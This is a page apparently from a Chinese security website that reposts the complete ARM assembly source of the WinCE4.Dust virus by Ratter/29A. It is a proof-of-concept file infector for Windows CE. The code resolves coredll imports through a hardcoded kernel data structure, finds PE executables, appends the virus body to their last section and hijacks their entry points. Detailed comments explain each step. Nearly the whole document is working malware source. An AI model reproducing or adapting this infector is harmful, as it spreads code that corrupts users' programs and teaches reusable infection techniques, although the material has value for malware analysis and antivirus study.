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您的位置: 网站首页 >> 病毒门诊 >>WinCE.Dust手机病毒源代码

WinCE.Dust手机病毒源代码

发布日期: 2007-11-21 11:45:16 查看数:
PcHiHi.com

** virus_source **

CODE32

EXPORT  WinMainCRTStartup

AREA .text, CODE, ARM

virus_start

; r11 - base pointer

virus_code_start   PROC

stmdb   sp!, {r0 - r12, lr, pc}

mov    r11, sp

sub    sp, sp, #56     ; make space on the stack

; our stack space gets filled the following way

;    #-56 - udiv

;    #-52 - malloc

;    #-48 - free

; [r11, #-44] - CreateFileForMappingW

;    #-40 - CloseHandle

;    #-36 - CreateFileMappingW

;    #-32 - MapViewOfFile

;    #-28 - UnmapViewOfFile

;    #-24 - FindFirstFileW

;    #-20 - FindNextFileW

;    #-16 - FindClose

;    #-12 - MessageBoxW

;    #- 8 - filehandle

;    #- 4 - mapping handle

bl    get_export_section

; we'll import via ordinals, not function names, because it's

; safe - even linker does that

adr   r2, import_ordinals

mov   r3, sp

bl    lookup_imports

;

bl    ask_user

beq    jmp_to_host     ; are we allowed to spread?

;

mov    r0, #0x23, 28

mov    lr, pc

ldr    pc, [r11, #-52]   ; allocate WFD

mov    r4, r0

cmp    r0, #0

beq    jmp_to_host

; in the following code I use functions FindFirstFile/FindNextFile

; for finding *.exe files in the current directory. But in this

; case I made a big mistake. I didn't realize that WinCE is not

; aware of the current directory and thus we need to use absolute

; pathnames. That's why this code won't find files in the current

; directory, but rather always in root directory. I found this out when I

; was performing final tests, but because the aim was to create a

; proof-of-concept code and because the infection itself was already

; limited by the user's permission, I decided not to correct this

; bug

adr    r0, mask

mov    r1, r4

mov    lr, pc

ldr    pc, [r11, #-24]   ; find first file

cmn    r0, #1

beq    free_wfd

mov    r5, r0

find_files_iterate

ldr    r0, [r4, #28]     ; filesize high

ldr    r1, [r4, #32]     ; filesize low

cmp    r0, #0         ; file too big?

bne    find_next_file

cmp    r1, #0x1000      ; file smaller than 4096 bytes?

addgt   r0, r4, #40      ; gimme file name

blgt   infect_file

find_next_file

mov    r0, r5

mov    r1, r4

mov    lr, pc

ldr    pc, [r11, #-20]    ; find next file

cmp    r0, #0         ; is there any left?

bne    find_files_iterate

mov    r0, r5

mov    lr, pc

ldr    pc, [r11, #-16]

free_wfd

mov    r0, r4

mov    lr, pc

ldr    pc, [r11, #-48]    ; free WFD

;

jmp_to_host

adr    r0, host_ep

ldr    r1, [r0]        ; get host_entry

ldr    r2, [r11, #56]     ; get pc

add    r1, r1, r2       ; add displacement

str    r1, [r11, #56]     ; store it back

mov    sp, r11

ldmia   sp!, {r0 - r12, lr, pc}

ENDP

; we're looking for *.exe files

mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0

; host entry point displacement

; in first generation let compiler count it

host_ep

DCD    host_entry - virus_code_start - 8

; WinCE is a UNICODE-only platform and thus we'll use the W ending

; for api names (there are no ANSI versions of these)

import_ordinals

DCW    2008       ; udiv

DCW    1041       ; malloc

DCW    1018       ; free

DCW    1167       ; CreateFileForMappingW

DCW    553        ; CloseHandle

DCW    548        ; CreateFileMappingW

DCW    549        ; MapViewOfFile

DCW    550        ; UnmapViewOfFile

DCW    167        ; FindFirstFileW

DCW    181        ; FindNextFile

DCW    180        ; FindClose

DCW    858        ; MessageBoxW

DCD    0x0

; basic wide string compare

wstrcmp   PROC

wstrcmp_iterate

ldrh    r2, [r0], #2

ldrh    r3, [r1], #2

cmp    r2, #0

cmpeq   r3, #0

moveq   pc, lr

cmp    r2, r3

beq    wstrcmp_iterate

mov    pc, lr

ENDP

; on theWin32 platform, almost all important functions were located in the

; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair

; was). The first infectors had a hardcoded imagebase of this dll and

; later they imported needed functions by hand from it. This

; turned out to be incompatible because different Windows versions might

; have different imagebases for kernel32. That's why more or less

; sophisticated methods were found that allowed coding in a

; compatible way. One of these methods is scanning memory for known values

; located in PE file header ("MZ") if the address inside the module is

; given. Because the function inside kernel32 calls the EntryPoint of

; every Win32 process, we've got this address. Then comparing the word

; on and aligned address (and decrementing it) against known values is

; enough to locate the imagebase. If this routine is even covered

; with SEH (Structured Exception Handling) everything is safe.

; I wanted to use this method on WinCE too, but I hit the wall.

; Probably to save memory space, there are no headers

; before the first section of the loaded module. There is thus no

; "MZ" value and scanning cannot be used even we have the address

; inside coredll.dll (lr registr on our entrypoint). Moreover, we

; cannot use SEH either, because SEH handlers get installed with

; the help of a special directory (the exception directory) in the PE file and

; some data before the function starts - this information would have

; to be added while infecting the victim (the exception directory

; would have to be altered) which is of course not impossible -- just

; a little bit impractical to implement in our basic virus.

; That's why I was forced to use a different approach. I looked

; through the Windows CE 3.0 source code (shared source,

; downloadable from Microsoft) and tried to find out how the loader

; performs its task. The Loader needs the pointer to the module's export

; section and its imagebase to be able to import from it. The result was a

; KDataStruct at a hardcoded address accessible from user mode (why Microsoft

; chose to open this loophole, I don't know)

; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a

; list of Module structures. There we can find all needed values

; (name of the module, imagebase and export section RVA). In the

; code that follows I go through this one-way list and look for

; structure describing the coredll.dll module. From this structure I

; get the imagebase and export section RVA (Relative Virtual Address).

; what sounds relatively easy was in the end more work than I

; expected. The problem was to get the offsets in the Module

; structure. The source code and corresponding headers I had were for

; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),

; where the structure is different. I worked it out using the following

; sequence:

; I was able to get the imagebase offset using the trial-and-error

; method - I used the debugger and tried values inside the

; structure that looked like valid pointers. If there was something

; interesting, I did some memory sniffing to realize where I was.

; The export section pointer was more difficult. There is no real

; pointer, just the RVA instead. Adding the imagebase to RVA gives us the

; pointer. That's why I found coredll.dll in memory - namely the

; list of function names in export section that the library exports.

; This list is just a series of ASCIIZ names (you can see this list

; when opening the dll in your favourite hex editor). At the

; beginning of this list there must be a dll name (in this case

; coredll.dll) to which a RVA in the export section header

; points. Substracting the imagebase from the address where the dll

; name starts gave me an RVA of the dll name. I did a simple byte

; search for the byte sequence that together made this RVA value. This

; showed me where the (Export Directory Table).Name Rva is.

; Because this is a known offset within a known structure (which is

; in the beginning of export section), I was able to get

; the export section pointer this way. I again substracted the imagebase to

; get the export section RVA. I looked up this value in the coredll's

; Module structure, which finally gave me the export section RVA

; offset.

; this works on Pocket PC 2003; it works on

; my wince 4.20.0 (build 13252).

; On different versions the structure offsets might be different :-/

; output:

;  r0 - coredll base addr

;  r1 - export section addr

get_export_section   PROC

stmdb   sp!, {r4 - r9, lr}

ldr    r4, =0xffffc800   ; KDataStruct

ldr    r5, =0x324     ; aInfo[KINX_MODULES]

add    r5, r4, r5

ldr    r5, [r5]

; r5 now points to first module

mov    r6, r5

mov    r7, #0

iterate

ldr    r0, [r6, #8]     ; get dll name

adr    r1, coredll

bl    wstrcmp        ; compare with coredll.dll

ldreq   r7, [r6, #0x7c]    ; get dll base

ldreq   r8, [r6, #0x8c]    ; get export section rva

add    r9, r7, r8

beq    got_coredllbase    ; is it what we're looking for?

ldr    r6, [r6, #4]

cmp    r6, #0

cmpne   r6, r5

bne    iterate        ; nope, go on

got_coredllbase

mov    r0, r7

add    r1, r8, r7      ; yep, we've got imagebase

; and export section pointer

ldmia   sp!, {r4 - r9, pc}

ENDP

coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0

DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

; r0 - coredll base addr

; r1 - export section addr

; r2 - import ordinals array

; r3 - where to store function adrs

lookup_imports   PROC

stmdb   sp!, {r4 - r6, lr}

ldr    r4, [r1, #0x10]    ; gimme ordinal base

ldr    r5, [r1, #0x1c]    ; gimme Export Address Table

add    r5, r5, r0

lookup_imports_iterate

ldrh   r6, [r2], #2     ; gimme ordinal

cmp    r6, #0        ; last value?

subne   r6, r6, r4      ; substract ordinal base

ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA

addne   r6, r6, r0      ; add imagebase

strne   r6, [r3], #4     ; store function address

bne    lookup_imports_iterate

ldmia    sp!, {r4 - r6, pc}

ENDP

; r0 - filename

; r1 - filesize

infect_file   PROC

stmdb   sp!, {r0, r1, r4, r5, lr}

mov    r4, r1

mov    r8, r0

bl    open_file       ; first open the file for mapping

cmn    r0, #1

beq    infect_file_end

str    r0, [r11, #-8]    ; store the handle

mov    r0, r4        ; now create the mapping with

; maximum size == filesize

bl    create_mapping

cmp    r0, #0

beq    infect_file_end_close_file

str    r0, [r11, #-4]    ; store the handle

mov    r0, r4

bl    map_file       ; map the whole file

cmp    r0, #0

beq    infect_file_end_close_mapping

mov    r5, r0

bl    check_header     ; is it file that we can infect?

bne    infect_file_end_unmap_view

ldr    r0, [r2, #0x4c]    ; check the reserved field in

; optional header against

ldr    r1, =0x72617461    ; rata

cmp    r0, r1        ; already infected?

beq    infect_file_end_unmap_view

ldr    r1, [r2, #0x3c]    ; gimme filealignment

adr    r0, virus_start

adr    r2, virus_end     ; compute virus size

sub    r0, r2, r0

mov    r7, r0        ; r7 now holds virus_size

add    r0, r0, r4

bl    _align_        ; add it to filesize and

mov    r6, r0        ; align it to filealignment

; r6 holds the new filesize

mov    r0, r5

mov    lr, pc

ldr    pc, [r11, #-28]    ; UnmapViewOfFile

ldr    r0, [r11, #-4]

mov    lr, pc

ldr    pc, [r11, #-40]    ; close mapping handle

;

mov    r0, r8

bl    open_file       ; reopen the file because via

; closing the mapping handle file

; handle was closed too

cmn    r0, #1

beq    infect_file_end

str    r0, [r11, #-8]

mov    r0, r6        ; create mapping again with the

bl    create_mapping    ; new filesize (with virus appended)

cmp    r0, #0

beq    infect_file_end_close_file

str    r0, [r11, #-4]

mov    r0, r6

bl    map_file       ; map it

cmp    r0, #0

beq    infect_file_end_close_mapping

mov    r5, r0

;

; r5 - mapping base

; r7 - virus_size

ldr    r4, [r5, #0x3c]    ; get PE signature offset

add    r4, r4, r5      ; add the base

ldrh   r1, [r4, #6]     ; get NumberOfSections

sub    r1, r1, #1      ; we want the last section header

; so dec

mov    r2, #0x28       ; multiply with section header size

mul    r0, r1, r2

add    r0, r0, r4      ; add optional header start to displacement

add    r0, r0, #0x78     ; add optional header size

ldr    r1, [r4, #0x74]    ; get number of data directories

mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)

add    r0, r0, r1      ; add it because section headers

; start after the optional header

; (including data directories)

ldr    r6, [r4, #0x28]    ; gimme entrypoint rva

ldr    r1, [r0, #0x10]    ; get last section's size of rawdata

ldr    r2, [r0, #0x14]    ; and pointer to rawdata

mov    r3, r1

add    r1, r1, r2      ; compute pointer to the first

; byte available for us in the

; last section

; (pointer to rawdata + sizeof rawdata)

mov    r9, r1        ; r9 now holds the pointer

ldr    r8, [r0, #0xc]    ; get RVA of section start

add    r3, r3, r8      ; add sizeof rawdata

str    r3, [r4, #0x28]    ; set entrypoint

sub    r6, r6, r3      ; now compute the displacement so that

; we can later jump back to the host

sub    r6, r6, #8      ; sub 8 because pc points to

; fetched instruction (viz LTORG)

mov    r10, r0

ldr    r0, [r10, #0x10]   ; get size of raw data again

add    r0, r0, r7      ; add virus size

ldr    r1, [r4, #0x3c]

bl    _align_        ; and align

str    r0, [r10, #0x10]   ; store new size of rawdata

str    r0, [r10, #0x8]    ; store new virtual size

ldr    r1, [r10, #0xc]    ; get virtual address of last section

add    r0, r0, r1      ; add size so get whole image size

str    r0, [r4, #0x50]    ; and store it

ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |

; IMAGE_SCN_MEM_READ

ldr    r1, [r10, #0x24]   ; get old section flags

orr    r0, r1, r0      ; or it with our needed ones

str    r0, [r10, #0x24]   ; store new flags

ldr    r0, =0x72617461

str    r0, [r4, #0x4c]    ; store our infection mark

add    r1, r9, r5      ; now we'll copy virus body

mov    r9, r1        ; to space prepared in last section

adr    r0, virus_start

mov    r2, r7

bl    simple_memcpy

adr    r0, host_ep      ; compute number of bytes between

; virus start and host ep

adr    r1, virus_start

sub    r0, r0, r1      ; because we'll store new host_ep

str    r6, [r0, r9]     ; in the copied virus body

infect_file_end_unmap_view

mov    r0, r5

mov    lr, pc        ; unmap the view

ldr    pc, [r11, #-28]

infect_file_end_close_mapping

ldr    r0, [r11, #-4]

mov    lr, pc        ; close the mapping

ldr    pc, [r11, #-40]

infect_file_end_close_file

ldr    r0, [r11, #-8]

mov    lr, pc        ; close file handle

ldr    pc, [r11, #-40]

infect_file_end

ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return

ENDP

; a little reminiscence of my beloved book - Greg Egan's Permutation City

DCB    "This code arose from the dust of Permutation City"

ALIGN    4

; this function checks whether the file we want to infect is

; suitable

check_header  PROC

ldrh   r0, [r5]

ldr    r1, =0x5a4d      ; MZ?

cmp    r0, r1

bne    infect_file_end_close_mapping

ldr    r2, [r5, #0x3c]

add    r2, r2, r5

ldrh   r0, [r2]

ldr    r1, =0x4550      ; Signature == PE?

cmp    r0, r1

bne    check_header_end

ldrh   r0, [r2, #4]

ldr    r1, =0x1c0      ; Machine == ARM?

cmp    r0, r1

bne    check_header_end

ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?

cmp    r0, #9

bne    check_header_end

ldrh   r0, [r2, #0x40]

cmp    r0, #4        ; windows ce 4?

check_header_end

mov    pc, lr

ENDP

; r0 - file

open_file   PROC

str    lr, [sp, #-4]!

sub    sp, sp, #0xc

mov    r1, #3

str    r1, [sp]       ; OPEN_EXISTING

mov    r3, #0

mov    r2, #0

str    r3, [sp, #8]

str    r3, [sp, #4]

mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE

mov    lr, pc

ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to

; get the handle suitable for

; CreateFileMapping API

; (on Win32 calling CreateFile is enough)

add    sp, sp, #0xc

ldr    pc, [sp], #4

ENDP

; r0 - max size low

create_mapping   PROC

str    lr, [sp, #-4]!

mov    r1, #0

sub    sp, sp, #8

str    r0, [sp]

str    r1, [sp, #4]

mov    r2, #4        ; PAGE_READWRITE

mov    r3, #0

ldr    r0, [r11, #-8]

mov    lr, pc

ldr    pc, [r11, #-36]

add    sp, sp, #8

ldr    pc, [sp], #4

ENDP

; r0 - bytes to map

map_file   PROC

str    lr, [sp, #-4]!

sub    sp, sp, #4

str    r0, [sp]

ldr    r0, [r11, #-4]

mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE

mov    r2, #0

mov    r3, #0

mov    lr, pc

ldr    pc, [r11, #-32]

add    sp, sp, #4

ldr    pc, [sp], #4

ENDP

; not optimized (thus simple) mem copy

; r0 - src

; r1 - dst

; r2 - how much

simple_memcpy   PROC

ldr    r3, [r0], #4

str    r3, [r1], #4

subs   r2, r2, #4

bne    simple_memcpy

mov    pc, lr

ENDP

; (r1 - (r1 % r0)) + r0

; r0 - number to align

; r1 - align to what

_align_    PROC

stmdb   sp!, {r4, r5, lr}

mov    r4, r0

mov    r5, r1

mov    r0, r1

mov    r1, r4

; ARM ISA doesn't have the div instruction so we'll have to call

; the coredll's div implementation

mov    lr, pc

ldr    pc, [r11, #-56]    ; udiv

sub    r1, r5, r1

add    r0, r4, r1

ldmia   sp!, {r4, r5, pc}

ENDP

; this function will ask user (via a MessageBox) whether we're

; allowed to spread or not

ask_user   PROC

str    lr, [sp, #-4]!

mov    r0, #0

adr    r1, text

adr    r2, caption

mov    r3, #4

mov    lr, pc

ldr    pc, [r11, #-12]

cmp    r0, #7

ldr    pc, [sp], #4

ENDP

; notice that the strings are encoded in UNICODE

; WinCE4.Dust by Ratter/29A

caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0

DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0

DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0

DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0

DCB    "A", 0x0, 0x0, 0x0

ALIGN    4

; Dear User, am I allowed to spread?

text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0

DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0

DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0

DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0

DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0

DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0

ALIGN    4

; Just a little greeting to *** firms :-)

DCB    "This is proof of concept code. Also, i wanted to make avers happy."

DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"

DCB    " to end ..."

ALIGN    4

; LTORG is a very important pseudo instruction, which places the

; literal pool "at" the place of its presence. Because the ARM

; instruction length is hardcoded to 32 bits, it is not possible in

; one instruction to load the whole 32bit range into a register (there

; have to be bits to specify the opcode). That's why the literal

; pool was introduced, which in fact is just an array of 32bit values

; that are not possible to load. This data structure is later

; accessed with the aid of the PC (program counter) register that points

; to the currently executed instruction + 8 (+ 8 because ARM processors

; implement a 3 phase pipeline: execute, decode, fetch and the PC

; points not at the instruction being executed but at the instruction being

; fetched). An offset is added to PC so that the final pointer

; points to the right value in the literal pool.

; the pseudo instruction ldr rX, =<value> while compiling gets

; transformed to a mov instruction (if the value is in the range of

; valid values) or it allocates its place in the literal pool and becomes a

; ldr, rX, [pc, #<offset>]

; similarly adr and adrl instructions serve to loading addresses

; to register.

; this approach's advantage is that with minimal effort we can get

; position independent code from the compiler which allows our

; code to run wherever in the address space the loader will load us.

LTORG

virus_end

; the code after virus_end doesn't get copied to victims

WinMainCRTStartup PROC

b     virus_code_start

ENDP

; first generation entry point

host_entry

mvn    r0, #0

mov    pc, lr

END

** virus_source_end **

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